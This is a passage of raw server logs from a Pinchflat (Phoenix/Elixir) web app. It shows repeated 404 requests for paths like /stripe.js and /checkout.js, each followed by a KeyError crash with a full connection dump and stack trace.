[file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21488.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53564}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21488.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53564}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21489.0>, params: %{}, path_info: ["stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/stripe.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfa2EnA6U_eUACMSB"} ], scheme: :http, script_name: [], secret_key (truncated) 15:40:18.381 [info] GET /checkout.js 15:40:18.382 [debug] QUERY OK source="settings" db=0.2ms idle=337.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.382 [debug] QUERY OK source="settings" db=0.1ms idle=225.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.382 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:18.382 [error] #PID<0.21491.0> running PinchflatWeb.Endpoint (connection #PID<0.21490.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /checkout.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /checkout (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21490.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53576}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21491.0>, params: %{}, path_info: ["checkout"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/checkout.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfbQ7AgOo2j8ACMSh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21490.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53576}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /checkout (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21490.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53576}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21491.0>, params: %{}, path_info: ["checkout"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/checkout.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfbQ7AgOo2j8ACMSh"} ], scheme: :http, script_name: [], (truncated) 15:40:18.493 [info] GET /payment.js 15:40:18.493 [debug] QUERY OK source="settings" db=0.1ms idle=336.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.494 [debug] QUERY OK source="settings" db=0.0ms idle=224.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.494 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:18.494 [error] #PID<0.21493.0> running PinchflatWeb.Endpoint (connection #PID<0.21492.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /payment.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /payment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21492.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53586}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21493.0>, params: %{}, path_info: ["payment"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/payment.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfbrpOQ5CWlMACMTB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21492.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53586}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /payment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21492.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53586}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21493.0>, params: %{}, path_info: ["payment"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/payment.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfbrpOQ5CWlMACMTB"} ], scheme: :http, script_name: [], (truncated) 15:40:18.605 [info] GET /sw.js 15:40:18.605 [debug] QUERY OK source="settings" db=0.2ms idle=336.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.606 [debug] QUERY OK source="settings" db=0.1ms idle=223.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.606 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:18.606 [error] #PID<0.21495.0> running PinchflatWeb.Endpoint (connection #PID<0.21494.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sw.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sw (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21494.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sw.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53588}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21495.0>, params: %{}, path_info: ["sw"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/sw.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfcGRn63cuYEACMTh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21494.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sw.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53588}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sw (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21494.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sw.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53588}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21495.0>, params: %{}, path_info: ["sw"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/sw.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfcGRn63cuYEACMTh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, (truncated) 15:40:18.718 [info] GET /config.json 15:40:18.718 [debug] QUERY OK source="settings" db=0.1ms idle=336.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.718 [debug] QUERY OK source="settings" db=0.0ms idle=224.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.718 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:18.718 [error] #PID<0.21497.0> running PinchflatWeb.Endpoint (connection #PID<0.21496.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21496.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53600}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21497.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfchMrL1v-uUACMUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21496.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.burns-family.net", peer: {{172, 